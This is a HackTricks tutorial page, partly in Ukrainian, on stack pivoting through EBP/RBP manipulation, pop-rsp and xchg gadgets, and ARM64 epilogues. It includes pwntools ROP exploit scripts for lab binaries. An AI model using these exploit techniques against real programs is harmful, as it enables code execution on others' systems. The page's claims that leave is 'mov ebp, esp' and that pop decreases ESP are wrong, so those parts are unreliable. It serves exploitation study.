Stack Pivoting - EBP2Ret - EBP chaining

Support HackTricks

Basic Information

Ця техніка використовує можливість маніпулювати Base Pointer (EBP) для з'єднання виконання кількох функцій через обережне використання регістра EBP та інструкцій leave; ret.

Нагадаємо, що leave в основному означає:

mov       ebp, esp
pop       ebp
ret

And as the EBP is in the stack before the EIP it's possible to control it controlling the stack.

EBP2Ret

This technique is particularly useful when you can alter the EBP register but have no direct way to change the EIP register. It leverages the behaviour of functions when they finish executing.

If, during fvuln's execution, you manage to inject a fake EBP in the stack that points to an area in memory where your shellcode's address is located (plus 4 bytes to account for the pop operation), you can indirectly control the EIP. As fvuln returns, the ESP is set to this crafted location, and the subsequent pop operation decreases ESP by 4, effectively making it point to an address store by the attacker in there. Note how you need to know 2 addresses: The one where ESP is going to go, where you will need to write the address that is pointed by ESP.

Exploit Construction

First you need to know an address where you can write arbitrary data / addresses. The ESP will point here and run the first ret.

Then, you need to know the address used by ret that will execute arbitrary code. You could use:

  • A valid ONE_GADGET address.

  • The address of system() followed by 4 junk bytes and the address of "/bin/sh" (x86 bits).

  • The address of a jump esp; gadget (ret2esp) followed by the shellcode to execute.

  • Some ROP chain

Remember than before any of these addresses in the controlled part of the memory, there must be 4 bytes because of the pop part of the leave instruction. It would be possible to abuse these 4B to set a second fake EBP and continue controlling the execution.

Off-By-One Exploit

There's a specific variant of this technique known as an "Off-By-One Exploit". It's used when you can only modify the least significant byte of the EBP. In such a case, the memory location storing the address to jumo to with the ret must share the first three bytes with the EBP, allowing for a similar manipulation with more constrained conditions. Usually it's modified the byte 0x00t o jump as far as possible.

Also, it's common to use a RET sled in the stack and put the real ROP chain at the end to make it more probably that the new ESP points inside the RET SLED and the final ROP chain is executed.

EBP Chaining

Therefore, putting a controlled address in the EBP entry of the stack and an address to leave; ret in EIP, it's possible to move the ESP to the controlled EBP address from the stack.

Now, the ESP is controlled pointing to a desired address and the next instruction to execute is a RET. To abuse this, it's possible to place in the controlled ESP place this:

  • &(next fake EBP) -> Load the new EBP because of pop ebp from the leave instruction

  • system() -> Called by ret

  • &(leave;ret) -> Called after system ends, it will move ESP to the fake EBP and start agin

  • &("/bin/sh")-> Param fro system

Basically this way it's possible to chain several fake EBPs to control the flow of the program.

This is like a ret2lib, but more complex with no apparent benefit but could be interesting in some edge-cases.

Moreover, here you have an example of a challenge that uses this technique with a stack leak to call a winning function. This is the final payload from the page:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (just get to RBP)

payload += flat(
buffer,         # Load leak address in RBP
LEAVE_RET       # Use leave ro move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

EBP може не використовуватись

Як пояснено в цьому пості, якщо бінарний файл скомпільований з деякими оптимізаціями, EBP ніколи не контролює ESP, отже, будь-який експлойт, що працює шляхом контролю EBP, в основному зазнає невдачі, оскільки не має жодного реального ефекту. Це пов'язано з тим, що пролог і епілог змінюються, якщо бінарний файл оптимізований.

  • Не оптимізовано:

push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • Оптимізовано:

push   %ebx         # save ebx
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore ebx
ret                 # return

Інші способи контролю RSP

pop rsp гаджет

На цій сторінці ви можете знайти приклад використання цієї техніки. Для цього завдання потрібно було викликати функцію з 2 специфічними аргументами, і був pop rsp гаджет та є leak з стеку:

# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg <reg>, rsp gadget

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

Перевірте техніку ret2esp тут:

Ret2esp / Ret2reg

Посилання та інші приклади

ARM64

В ARM64, пролог та епілоги функцій не зберігають і не відновлюють реєстр SP у стеку. Більше того, інструкція RET не повертає за адресою, на яку вказує SP, а за адресою всередині x30.

Отже, за замовчуванням, просто зловживаючи епілогом, ви не зможете контролювати реєстр SP, переписуючи деякі дані всередині стеку. І навіть якщо вам вдасться контролювати SP, вам все ще знадобиться спосіб контролювати реєстр x30.

  • пролог

sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP вказує на запис кадру
  • епілог

ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

Спосіб виконати щось подібне до стекового підіймання в ARM64 полягатиме в тому, щоб мати можливість контролювати SP (контролюючи якийсь реєстр, значення якого передається до SP, або тому, що з якоїсь причини SP бере свою адресу зі стеку, і у нас є переповнення) і потім зловживати епілогом, щоб завантажити реєстр x30 з контрольованого SP і RET до нього.

Також на наступній сторінці ви можете побачити еквівалент Ret2esp в ARM64:

Ret2esp / Ret2reg
Підтримати HackTricks

Last updated